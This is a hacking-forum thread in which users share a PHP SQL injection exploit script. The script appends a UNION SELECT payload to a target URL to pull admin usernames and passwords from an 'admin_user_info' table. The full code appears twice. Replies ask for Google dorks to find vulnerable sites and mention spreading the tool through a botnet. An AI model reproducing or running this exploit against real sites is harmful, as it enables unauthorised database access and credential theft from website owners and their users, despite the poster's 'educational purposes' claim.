Sinisterly
SQL Injection Exploit [PHP] - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: SQL Injection Exploit [PHP] (/Thread-SQL-Injection-Exploit-PHP)

Pages: 1 2 3


RE: SQL Injection Exploit [PHP] - idiot - 01-23-2014

simple and useful


RE: SQL Injection Exploit [PHP] - commander - 01-23-2014

is there any google dork to find out sites with this vulnerability...


RE: SQL Injection Exploit [PHP] - bbshotgun - 01-29-2014

(01-23-2014, 06:47 PM)commander Wrote: is there any google dork to find out sites with this vulnerability...

There are more than you think. If you distribute this as a botnet with automated remote execution you can find it. I wouldn't recommend it. I DO however host a website I use for testing and development. I'd have to do a little cleanup to create a SQL DB for you guys to test on but once I do I'll pop it up.

On a side note, I am new to the forums but I am letting everyone know that if you need remote test environment, I can provide it as I run a sandbox on my DMZ for pen testing.


RE: SQL Injection Exploit [PHP] - Royal_Tr1ck - 02-10-2014

This looks awsom thanks forthe share. Looking forwaRD to trying this out thanks again


RE: SQL Injection Exploit [PHP] - Bosmax - 02-27-2014

quite good...


RE: SQL Injection Exploit [PHP] - Slarek - 03-17-2014

(03-17-2014, 04:52 AM)louis99 Wrote: i suggest use sqli tool, like havij, because not all website use the 2 columns to save username and password.(F.Y.I)

Tools make the job easier. However, You should still know the concept.


RE: SQL Injection Exploit [PHP] - CrackeRR - 03-28-2014

very simple Biggrin , thanks for sharing Biggrin
PHP <3


RE: SQL Injection Exploit [PHP] - meemeeto - 05-28-2014

very good, thanks for that

add font color and help:
-----------------------

<?php
error_reporting(0);
print "<h2>HackCommunity SQL Injection Exploit</h2>";
print "<br><font color=red><h2>how to:<br> http://localhost/script.php?web=http://targetsite.com/page.php?param= </h2></font>" ;

if (!empty($_GET['web'])) {
print "<b>Scanning the vulnerability...</b><br>________________________________<br>";
$injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass?%2C0x3c2f68633e)%20from%20admin_user_info";
$source = file_get_contents($_GET['web'] . $injquery);

if(strstr($source, "<hc>")){
$info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>'));
print "Vulnerability Exploit Successfull!<br>
<br>Result => $info";

}else{
print "Vulnerability Not Avaible For This Website..<br>";

}
}else{
print "<br> Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>";

}

?>


RE: SQL Injection Exploit [PHP] - BlueCat - 05-28-2014

(07-03-2013, 08:32 AM)RootTheSystem Wrote: Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.

Usage:
Code:
http://localhost/script.php?web=http://targetsite.com/page.php?param=

Sauce:
PHP Code:
<?php error_reporting(0); print "<h2>HackCommunity SQL Injection Exploit</h2>"; if(!empty($_GET['web'])){ print "<b>Scanning the vulnerability...</b><br>________________________________<br>"; $injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info"; $source = file_get_contents($_GET['web'] . $injquery); if(strstr($source, "<hc>")){ $info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>')); print "Vulnerability Exploit Successfull!<br> <br>Result => $info"; }else{ print "Vulnerability Not Avaible For This Website..<br>"; } }else{ print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>"; } ?>

Image:
[Image: pur6g.png]

Au Revoir..


Kinda confused.


RE: SQL Injection Exploit [PHP] - Boomslang - 05-28-2014

(05-28-2014, 07:53 PM)BlueCat Wrote:
(07-03-2013, 08:32 AM)RootTheSystem Wrote: Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.

Usage:
Code:
http://localhost/script.php?web=http://targetsite.com/page.php?param=

Sauce:
PHP Code:
<?php error_reporting(0); print "<h2>HackCommunity SQL Injection Exploit</h2>"; if(!empty($_GET['web'])){ print "<b>Scanning the vulnerability...</b><br>________________________________<br>"; $injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass%2C0x3c2f68633e)%20from%20admin_user_info"; $source = file_get_contents($_GET['web'] . $injquery); if(strstr($source, "<hc>")){ $info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>')); print "Vulnerability Exploit Successfull!<br> <br>Result => $info"; }else{ print "Vulnerability Not Avaible For This Website..<br>"; } }else{ print "Please Enter an URL (ex: http://site.com/page.php?parameter= )<br>"; } ?>

Image:
[Image: pur6g.png]

Au Revoir..


Kinda confused.

It is an exploit script for a SQL Injection vulnerability in a CMS. I published it so people who are new in Php coding could understand how remote exploits work in general.